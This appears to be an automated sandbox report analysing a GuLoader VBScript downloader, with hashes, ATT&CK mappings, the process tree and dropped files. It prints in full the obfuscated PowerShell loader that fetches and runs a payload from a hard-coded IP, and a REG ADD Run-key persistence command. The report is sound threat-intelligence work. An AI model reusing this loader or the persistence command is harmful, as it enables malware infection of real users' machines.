guloader | b300e18bf2da85f573018efd066241135b68e8097fedf22160cdf9c1eafd47dc

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
17/04/2024, 08:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PonudaSKMTBH365756867868855766786686.vbs
Size 16KB
Sample240417-kbvbysbd4z
SHA256 b300e18bf2da85f573018efd066241135b68e8097fedf22160cdf9c1eafd47dc
MD5 e2b804162dbe6b4a022fc7aa99c1b53d
SHA1 f3ad5f33d20afb27beadf7e8203d41560717e55c
SHA512 76cf5e8096a116ca0db05c60cd17a513fbd000dff7a71ce3d1edf51d96a84588bf5b95ab20dc6eab71047ee7f7b02efdb78da9127757faf5875193f0f50027aa
SSDEEP 384:LuM2XrXpz5toVZoCSsqoC8bE2XKS2DCR817e3xOu2:LtMzvoXlSsqoC8bE2ADVGa
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	3056	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Windows\CurrentVersion\Run\Pecksniff = "%bulkladningernes% -w 1 $Intrapsychic=(Get-ItemProperty -Path 'HKCU:\\Samariteruddannelsen\\').Sufflrernes;%bulkladningernes% ($Intrapsychic)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
2264	wab.exe
2264	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2736	powershell.exe
2264	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2736 set thread context of 2264	2736	powershell.exe	34

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2980	reg.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3056	powershell.exe
2736	powershell.exe
2736	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2736	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3056	powershell.exe
Token: SeDebugPrivilege	2736	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 844 wrote to memory of 3056	844	WScript.exe	28
PID 844 wrote to memory of 3056	844	WScript.exe	28
PID 844 wrote to memory of 3056	844	WScript.exe	28
PID 3056 wrote to memory of 2584	3056	powershell.exe	30
PID 3056 wrote to memory of 2584	3056	powershell.exe	30
PID 3056 wrote to memory of 2584	3056	powershell.exe	30
PID 3056 wrote to memory of 2736	3056	powershell.exe	32
PID 3056 wrote to memory of 2736	3056	powershell.exe	32
PID 3056 wrote to memory of 2736	3056	powershell.exe	32
PID 3056 wrote to memory of 2736	3056	powershell.exe	32
PID 2736 wrote to memory of 2484	2736	powershell.exe	33
PID 2736 wrote to memory of 2484	2736	powershell.exe	33
PID 2736 wrote to memory of 2484	2736	powershell.exe	33
PID 2736 wrote to memory of 2484	2736	powershell.exe	33
PID 2736 wrote to memory of 2264	2736	powershell.exe	34
PID 2736 wrote to memory of 2264	2736	powershell.exe	34
PID 2736 wrote to memory of 2264	2736	powershell.exe	34
PID 2736 wrote to memory of 2264	2736	powershell.exe	34
PID 2736 wrote to memory of 2264	2736	powershell.exe	34
PID 2736 wrote to memory of 2264	2736	powershell.exe	34
PID 2264 wrote to memory of 2888	2264	wab.exe	35
PID 2264 wrote to memory of 2888	2264	wab.exe	35
PID 2264 wrote to memory of 2888	2264	wab.exe	35
PID 2264 wrote to memory of 2888	2264	wab.exe	35
PID 2888 wrote to memory of 2980	2888	cmd.exe	37
PID 2888 wrote to memory of 2980	2888	cmd.exe	37
PID 2888 wrote to memory of 2980	2888	cmd.exe	37
PID 2888 wrote to memory of 2980	2888	cmd.exe	37

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PonudaSKMTBH365756867868855766786686.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Pappea = 1;$Moodle='Substrin';$Moodle+='g';Function Enactor($Specialeffekterne){$Tilknyttendeschthyolatry=$Specialeffekterne.Length-$Pappea;For($Tilknyttendes=4; $Tilknyttendes -lt $Tilknyttendeschthyolatry; $Tilknyttendes+=(5)){$Respondence+=$Specialeffekterne.$Moodle.Invoke($Tilknyttendes, $Pappea);}$Respondence;}function Hauling($Kvarternes){. ($Forlngerledningens) ($Kvarternes);}$Uncaste132=Enactor ' C,nM T.po BahzTromiHun,lFestlBietaFili/Smyk5Bedu.B.se0D ft Anse(PeuhWA,rdiIncen RhidD kooSmkrwDistsThe OmlsNHedoTArbe Unur1 Jim0Blkk.J.rd0 Ski;,hok EfteWAtomiHovenThin6disc4Raba;m.ct Af,axEman6P ra4Bffe; Whi Getfr FluvYell:home1Beth2Nonm1 A k.Arbe0Ryge)calc Str GSupeegrancpollkGruboLev./ko d2Bol.0Lath1Raim0Bagl0bekr1 Se 0Udfy1Loss KognF,eifiKebbrNarke .ypfOpuno ,pdx Udt/Selv1Tis.2 Fre1D.gt.Bun,0 Abo ';$Tannide=Enactor ' FibUGharsBremeBeaur Reg-DrueAheteg O,te.ngan rgot,ege ';$Undersold=Enactor 'R,vih SymtHvidt abupReco:Diaz/ alc/Chat8 pfi7Ad s..nde1Sub.2Neur1 epi. Pi.1 Buz0unja5Klen.R.gb1Ra,e6 Eth3 ,il/ S leFi.liFlyvv GuliBi,enDemosDelb. Bedl UdrpEl,rki,kl ';$Jaevnbyrdig=Enactor ' Ro >Soa, ';$Forlngerledningens=Enactor 'AlgaiAfdee Ar.xflot ';$oversimplify = Enactor 'BalieAp,lcVenthKommoAf.l Kup,% atiaDribpBaw p uvedSkytaFusktUndea Mon%Indb\HawaN ondoConccB notReg.uAfnarNatinIncradinelMort.WhorIW.ken F ds Ung Kom&Sump&Flip Vu,ae C,mcK,mmhFulfopred udp $Laed ';Hauling (Enactor 'nick$styrgAlmilCarpofo.ib PanaSunslRist:L.udTRecaa Mans UdstMeniacentb E.glBun.e,ncu1 Vrd1sjof9hous=Sev.(HeptcCarnmMededSnig Hkke/Forucnske Ress$,naeoStanvCarre UndrModesNeuri BiomB,dspJavalEldriF rvfSinuy int)Unbl ');Hauling (Enactor ' cox$blddgBronlRettoJoewb lskaI telTeks: KomFEnero.onar FlapStanrValuedsramSailiSedeeT.lsrhndeeFugl= For$Ma.aU .aknDa ndFemieO.ycrWatcs dogo Uppl BagdChlo.U,dss te.p,kemlDdbiicr ftRing(beba$ SkiJGurga FemeKompvBry.nFencb Y,ky ,ntrDozidExpeiNoctg D o)Scio ');$Undersold=$Forpremiere[0];Hauling (Enactor '.rig$DistgAn ilTvisoKalkb IndaBiselLeea:LeagPHje rTette,rvep ,aiuIl.unKlovcTi.khStapepored B,n=Pla.NFor ePotewNon.-LinoO Prob ResjNo,ceBaffcln,ptSowt CumeSKb,vy RemsSt.etNejseNaevmCamp. DogNOmdoe.ondt Be..KursW KiseSnoobStrmCIdeolCeleiTi.ce StinVesttZira ');Hauling (Enactor 'Trem$ UsiPManurFattebrstpMiniu thenUbunc ParhDebieMegidEk.e.Kon,H ArieKnebaFo.ed esieInddrYaposJe.p[Hom $FlyvTBobla RafnArc.nC,nfiTe.cdLapse Mac]gesa=Hort$Ra.iU N,tnSadecFo,faBetasSig,t,live el1Phot3Bret2Eggs ');$Romanceless=Enactor 'UdraPBeh,rstraeChrepKarauP.ejnParlcSclehSagseRoc dMor,. SupDDk,aoAftewKmpvn F,rl,vaco F,rasupedPa aFMariiHomolTopsecol.(Metr$A biUTitanTrredInveeMissrrrdrsN.nooUndilRbdidDefo,.hoo$ UgeRStereDietaS.shlAfsprSchieContn Br.tfli,eP yl)Tilr ';$Romanceless=$Tastable119[1]+$Romanceless;$Realrente=$Tastable119[0];Hauling (Enactor ' Ung$baltgCle.lFa.uoD pibQuada R nlTe e:DisrU.orudUn,ttPropyRetedForsestatnSelvd S reUddasGens=Cant(LudiTG nneSer,sEddet Ur -FacaPSalta,audt PhyhF gg Tjte$ Un RFrakeM,llaBr.dlAn lrScaleTontn UnbtPedaeHipp)Edi, ');while (!$Udtydendes) {Hauling (Enactor 'Inva$ghosg GenlHeadoHopkbFas aRad.lArbe:AnteSKl.bt Sk.i Fo.gVersbPrisjIntelFl ee FlanEqui=Joaq$CondtKoldrS.tuuS,rneEmba ') ;Hauling $Romanceless;Hauling (Enactor 'EndaSforntMngdaquadr Tw.tMass-re,sS MuclBud ePro,ekarrpFj,m Prog4Grun ');Hauling (Enactor ' Ref$Su,egk,mul.oeroM subB rgaTurklDr,v:In.lUKnubdrenttu,liypat,dDyreeWaten p ud,pece.atlsFast=Dime( ScrTMi.ueForfsTi,st ank-BarrP balaDgn,tB,sihSpac Bed,$ToucRUnlieSic aNepolf dnrblueeStren instwilde Ven)J,sm ') ;Hauling (Enactor 'Kuld$Misug nslSlvsoIndebHjeratimolUnsp:Rin.UTeksnKondrteg,i,unkgBlg.gKniveGiredUng.=Euro$ lyvgHypolsulpoMandbSatoaForulRedo: Fu MKursd b,kekultaWit,fSp.tt T ieI.danBlineUndenP.et+Supr+Mens%Sort$ ChrF Mu.oMicrrCa,bp Sp rMatueRatim yrei V,neSlutrRi eedu,u.IntecBitto avou G ln ClitPenm ') ;$Undersold=$Forpremiere[$Unrigged];}Hauling (Enactor ' Sea$,ogig Cabl KupoU,nibUn,eaGaldl Und:Fas.hDysleVgtsl UndvDattiSocig Rut Gasb=trac rei GOmdieCalotkvot-VattC StaoTrignAntitBogfeBenenRivetStos Vent$DekoRRvereNervaCo fl.ngerBdkeeVietnB,ketstopeBlas ');Hauling (Enactor ',rec$Ammog Ek lArbeoMeisbFo marefolTi s:Pbe.SFol.t Ek,aLovmnConvcNoneh Hone.ennlAtom1L,ns8Damp5Phon Chem=bjer nd[S.blSKnityBiogsC rat Mane .ntmDip,.TommCDataoTwelnErh.vTr.me Ek.rRibrtHand]Faku:Repr:HaliFfr.sr ConoOv rmAmfiBStyra ves.ellePuno6 Ud,4HonoSMoott BilrAdiai FornPuffg,ign(Ends$Ud oh Pr,eRimelChefvSt,miBerzgBars)Mi,d ');Hauling (Enactor 'Oari$ SmugMikkltuboo ,orb .dea AnglTved:unchA SnonSklhtHarpiFiffhtopmuAflemJe,m Hel =u,ob Hjer[N niSExpeyBrnesKalktmar.eA somunde.NonhTBer,e Resx amstSmi,.DevoEFormnG,uncReleoIndfdX noiCrosn SlugGr d]Subk:L.mb:BedvAbaptSSpooCVei,ISam.IWhic.FeltGKnuceT emt.umaS SlatDeserSeptibucknGrungHalv(Smaa$Gal,SAmtst hya Andn ftecvugghSteteV,ttl Upa1Udda8Geo 5Sve,) uld ');Hauling (Enactor 'Tent$WeltgRvhulB.ado Pegbpla,aBarkl orr:SpruPLun,e Excl F,glEnchaGradgInexr Semo GaauDuppsNonm=Poon$UndeA ictnKn,et,olei StehPaliuShiemStbe.EfflsFlsku BalbXylos sprtIndsrT.lei Frynclosgpref(Idrt3 ,ur4Inf 3Perc4 ela9Dile1Mapl, Dr 2 efr7Ni,u8,nin8Iber0 Bus)U,de ');Hauling $Pellagrous;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3056
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Nocturnal.Ins && echo $"
    3⤵
    PID:2584
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Pappea = 1;$Moodle='Substrin';$Moodle+='g';Function Enactor($Specialeffekterne){$Tilknyttendeschthyolatry=$Specialeffekterne.Length-$Pappea;For($Tilknyttendes=4; $Tilknyttendes -lt $Tilknyttendeschthyolatry; $Tilknyttendes+=(5)){$Respondence+=$Specialeffekterne.$Moodle.Invoke($Tilknyttendes, $Pappea);}$Respondence;}function Hauling($Kvarternes){. ($Forlngerledningens) ($Kvarternes);}$Uncaste132=Enactor ' C,nM T.po BahzTromiHun,lFestlBietaFili/Smyk5Bedu.B.se0D ft Anse(PeuhWA,rdiIncen RhidD kooSmkrwDistsThe OmlsNHedoTArbe Unur1 Jim0Blkk.J.rd0 Ski;,hok EfteWAtomiHovenThin6disc4Raba;m.ct Af,axEman6P ra4Bffe; Whi Getfr FluvYell:home1Beth2Nonm1 A k.Arbe0Ryge)calc Str GSupeegrancpollkGruboLev./ko d2Bol.0Lath1Raim0Bagl0bekr1 Se 0Udfy1Loss KognF,eifiKebbrNarke .ypfOpuno ,pdx Udt/Selv1Tis.2 Fre1D.gt.Bun,0 Abo ';$Tannide=Enactor ' FibUGharsBremeBeaur Reg-DrueAheteg O,te.ngan rgot,ege ';$Undersold=Enactor 'R,vih SymtHvidt abupReco:Diaz/ alc/Chat8 pfi7Ad s..nde1Sub.2Neur1 epi. Pi.1 Buz0unja5Klen.R.gb1Ra,e6 Eth3 ,il/ S leFi.liFlyvv GuliBi,enDemosDelb. Bedl UdrpEl,rki,kl ';$Jaevnbyrdig=Enactor ' Ro >Soa, ';$Forlngerledningens=Enactor 'AlgaiAfdee Ar.xflot ';$oversimplify = Enactor 'BalieAp,lcVenthKommoAf.l Kup,% atiaDribpBaw p uvedSkytaFusktUndea Mon%Indb\HawaN ondoConccB notReg.uAfnarNatinIncradinelMort.WhorIW.ken F ds Ung Kom&Sump&Flip Vu,ae C,mcK,mmhFulfopred udp $Laed ';Hauling (Enactor 'nick$styrgAlmilCarpofo.ib PanaSunslRist:L.udTRecaa Mans UdstMeniacentb E.glBun.e,ncu1 Vrd1sjof9hous=Sev.(HeptcCarnmMededSnig Hkke/Forucnske Ress$,naeoStanvCarre UndrModesNeuri BiomB,dspJavalEldriF rvfSinuy int)Unbl ');Hauling (Enactor ' cox$blddgBronlRettoJoewb lskaI telTeks: KomFEnero.onar FlapStanrValuedsramSailiSedeeT.lsrhndeeFugl= For$Ma.aU .aknDa ndFemieO.ycrWatcs dogo Uppl BagdChlo.U,dss te.p,kemlDdbiicr ftRing(beba$ SkiJGurga FemeKompvBry.nFencb Y,ky ,ntrDozidExpeiNoctg D o)Scio ');$Undersold=$Forpremiere[0];Hauling (Enactor '.rig$DistgAn ilTvisoKalkb IndaBiselLeea:LeagPHje rTette,rvep ,aiuIl.unKlovcTi.khStapepored B,n=Pla.NFor ePotewNon.-LinoO Prob ResjNo,ceBaffcln,ptSowt CumeSKb,vy RemsSt.etNejseNaevmCamp. DogNOmdoe.ondt Be..KursW KiseSnoobStrmCIdeolCeleiTi.ce StinVesttZira ');Hauling (Enactor 'Trem$ UsiPManurFattebrstpMiniu thenUbunc ParhDebieMegidEk.e.Kon,H ArieKnebaFo.ed esieInddrYaposJe.p[Hom $FlyvTBobla RafnArc.nC,nfiTe.cdLapse Mac]gesa=Hort$Ra.iU N,tnSadecFo,faBetasSig,t,live el1Phot3Bret2Eggs ');$Romanceless=Enactor 'UdraPBeh,rstraeChrepKarauP.ejnParlcSclehSagseRoc dMor,. SupDDk,aoAftewKmpvn F,rl,vaco F,rasupedPa aFMariiHomolTopsecol.(Metr$A biUTitanTrredInveeMissrrrdrsN.nooUndilRbdidDefo,.hoo$ UgeRStereDietaS.shlAfsprSchieContn Br.tfli,eP yl)Tilr ';$Romanceless=$Tastable119[1]+$Romanceless;$Realrente=$Tastable119[0];Hauling (Enactor ' Ung$baltgCle.lFa.uoD pibQuada R nlTe e:DisrU.orudUn,ttPropyRetedForsestatnSelvd S reUddasGens=Cant(LudiTG nneSer,sEddet Ur -FacaPSalta,audt PhyhF gg Tjte$ Un RFrakeM,llaBr.dlAn lrScaleTontn UnbtPedaeHipp)Edi, ');while (!$Udtydendes) {Hauling (Enactor 'Inva$ghosg GenlHeadoHopkbFas aRad.lArbe:AnteSKl.bt Sk.i Fo.gVersbPrisjIntelFl ee FlanEqui=Joaq$CondtKoldrS.tuuS,rneEmba ') ;Hauling $Romanceless;Hauling (Enactor 'EndaSforntMngdaquadr Tw.tMass-re,sS MuclBud ePro,ekarrpFj,m Prog4Grun ');Hauling (Enactor ' Ref$Su,egk,mul.oeroM subB rgaTurklDr,v:In.lUKnubdrenttu,liypat,dDyreeWaten p ud,pece.atlsFast=Dime( ScrTMi.ueForfsTi,st ank-BarrP balaDgn,tB,sihSpac Bed,$ToucRUnlieSic aNepolf dnrblueeStren instwilde Ven)J,sm ') ;Hauling (Enactor 'Kuld$Misug nslSlvsoIndebHjeratimolUnsp:Rin.UTeksnKondrteg,i,unkgBlg.gKniveGiredUng.=Euro$ lyvgHypolsulpoMandbSatoaForulRedo: Fu MKursd b,kekultaWit,fSp.tt T ieI.danBlineUndenP.et+Supr+Mens%Sort$ ChrF Mu.oMicrrCa,bp Sp rMatueRatim yrei V,neSlutrRi eedu,u.IntecBitto avou G ln ClitPenm ') ;$Undersold=$Forpremiere[$Unrigged];}Hauling (Enactor ' Sea$,ogig Cabl KupoU,nibUn,eaGaldl Und:Fas.hDysleVgtsl UndvDattiSocig Rut Gasb=trac rei GOmdieCalotkvot-VattC StaoTrignAntitBogfeBenenRivetStos Vent$DekoRRvereNervaCo fl.ngerBdkeeVietnB,ketstopeBlas ');Hauling (Enactor ',rec$Ammog Ek lArbeoMeisbFo marefolTi s:Pbe.SFol.t Ek,aLovmnConvcNoneh Hone.ennlAtom1L,ns8Damp5Phon Chem=bjer nd[S.blSKnityBiogsC rat Mane .ntmDip,.TommCDataoTwelnErh.vTr.me Ek.rRibrtHand]Faku:Repr:HaliFfr.sr ConoOv rmAmfiBStyra ves.ellePuno6 Ud,4HonoSMoott BilrAdiai FornPuffg,ign(Ends$Ud oh Pr,eRimelChefvSt,miBerzgBars)Mi,d ');Hauling (Enactor 'Oari$ SmugMikkltuboo ,orb .dea AnglTved:unchA SnonSklhtHarpiFiffhtopmuAflemJe,m Hel =u,ob Hjer[N niSExpeyBrnesKalktmar.eA somunde.NonhTBer,e Resx amstSmi,.DevoEFormnG,uncReleoIndfdX noiCrosn SlugGr d]Subk:L.mb:BedvAbaptSSpooCVei,ISam.IWhic.FeltGKnuceT emt.umaS SlatDeserSeptibucknGrungHalv(Smaa$Gal,SAmtst hya Andn ftecvugghSteteV,ttl Upa1Udda8Geo 5Sve,) uld ');Hauling (Enactor 'Tent$WeltgRvhulB.ado Pegbpla,aBarkl orr:SpruPLun,e Excl F,glEnchaGradgInexr Semo GaauDuppsNonm=Poon$UndeA ictnKn,et,olei StehPaliuShiemStbe.EfflsFlsku BalbXylos sprtIndsrT.lei Frynclosgpref(Idrt3 ,ur4Inf 3Perc4 ela9Dile1Mapl, Dr 2 efr7Ni,u8,nin8Iber0 Bus)U,de ');Hauling $Pellagrous;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2736
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Nocturnal.Ins && echo $"
      4⤵
      PID:2484
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of WriteProcessMemory
      PID:2264
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Pecksniff" /t REG_EXPAND_SZ /d "%bulkladningernes% -w 1 $Intrapsychic=(Get-ItemProperty -Path 'HKCU:\Samariteruddannelsen\').Sufflrernes;%bulkladningernes% ($Intrapsychic)"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2888
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Pecksniff" /t REG_EXPAND_SZ /d "%bulkladningernes% -w 1 $Intrapsychic=(Get-ItemProperty -Path 'HKCU:\Samariteruddannelsen\').Sufflrernes;%bulkladningernes% ($Intrapsychic)"
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:2980

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

SDYTLXTR5I1JNH9Y9U5E.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SDYTLXTR5I1JNH9Y9U5E.temp
Size 7KB
SHA256 5312b092db369f18ef75372af344b038309098452eb89ab5a92586dbe67bc7e2
MD5 41cb90caae05fe2d12c7762f7c912943
SHA1 f37503bff6a21b328ac335f616b1fe5f117cebae
SHA512 c9ba4637b8cc262720f44dc1adb4fe2a5bd0271cd65aeb7fe59975492a40a1d57e60fb1b6f8dde86a2b2fc02f8e7bfe2ac2e0a062de8beb9a823e924309712e5
SSDEEP 96:0qAFwCaIM89nqvsqvJCwowqAFwCaIM89nqvsEHyqvJCworHoUFQHZz/z7TeXlUVb:rAFhxUoHAFhxAHnorHJor7Teg
MD5 SHA1 SHA512 SSDEEP

Submit Download

Nocturnal.Ins

Path C:\Users\Admin\AppData\Roaming\Nocturnal.Ins
Size 483KB
SHA256 ce9f0cf5196833d16d81f813b6caf35cb337427fd8208954f39de0f93a1be69c
MD5 6a84826def7af0eeec6ed8a883cd60a4
SHA1 1ad323d2899511b88e19b3bbafc8d1aaf9b1da16
SHA512 45223564f136524786c941edd33311e03e63abf154b40ff0af0453c9c86d01714f1c7c0df32f9a9d2000cb27e18ee6d7d46e75f8ac00557ca8bd676b0f9187b5
SSDEEP 6144:WO1ltypGsrM571wxt8mL79Wa1OA0pn6STpnjoLqa09lrZ7aBh1S+bk5OHhyDiR57:DlGGsrY1mL7tnWnJoGaw/+RS+b3+u
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2264-35-0x0000000001350000-0x000000000486C000-memory.dmp

Download

memory/2264-36-0x0000000077A90000-0x0000000077B66000-memory.dmp

Download

memory/2264-34-0x0000000077A90000-0x0000000077B66000-memory.dmp

Download

memory/2264-33-0x0000000077AC6000-0x0000000077AC7000-memory.dmp

Download

memory/2264-32-0x00000000778A0000-0x0000000077A49000-memory.dmp

Download

memory/2736-28-0x00000000778A0000-0x0000000077A49000-memory.dmp

Download

memory/2736-24-0x00000000064D0000-0x00000000099EC000-memory.dmp

Download

memory/2736-16-0x00000000027B0000-0x00000000027F0000-memory.dmp

Download

memory/2736-17-0x0000000073740000-0x0000000073CEB000-memory.dmp

Download

memory/2736-18-0x00000000027B0000-0x00000000027F0000-memory.dmp

Download

memory/2736-31-0x00000000027B0000-0x00000000027F0000-memory.dmp

Download

memory/2736-20-0x00000000027B0000-0x00000000027F0000-memory.dmp

Download

memory/2736-30-0x0000000077A90000-0x0000000077B66000-memory.dmp

Download

memory/2736-29-0x0000000073740000-0x0000000073CEB000-memory.dmp

Download

memory/2736-15-0x0000000073740000-0x0000000073CEB000-memory.dmp

Download

memory/2736-25-0x00000000054E0000-0x00000000054E1000-memory.dmp

Download

memory/3056-10-0x0000000002740000-0x00000000027C0000-memory.dmp

Download

memory/3056-26-0x0000000002740000-0x00000000027C0000-memory.dmp

Download

memory/3056-27-0x0000000002740000-0x00000000027C0000-memory.dmp

Download

memory/3056-4-0x000000001B6A0000-0x000000001B982000-memory.dmp

Download

memory/3056-22-0x0000000002740000-0x00000000027C0000-memory.dmp

Download

memory/3056-21-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

Download

memory/3056-23-0x0000000002740000-0x00000000027C0000-memory.dmp

Download

memory/3056-9-0x0000000002740000-0x00000000027C0000-memory.dmp

Download

memory/3056-8-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

Download

memory/3056-6-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

Download

memory/3056-7-0x0000000002740000-0x00000000027C0000-memory.dmp

Download

memory/3056-5-0x0000000002910000-0x0000000002918000-memory.dmp

Download

memory/3056-39-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

Download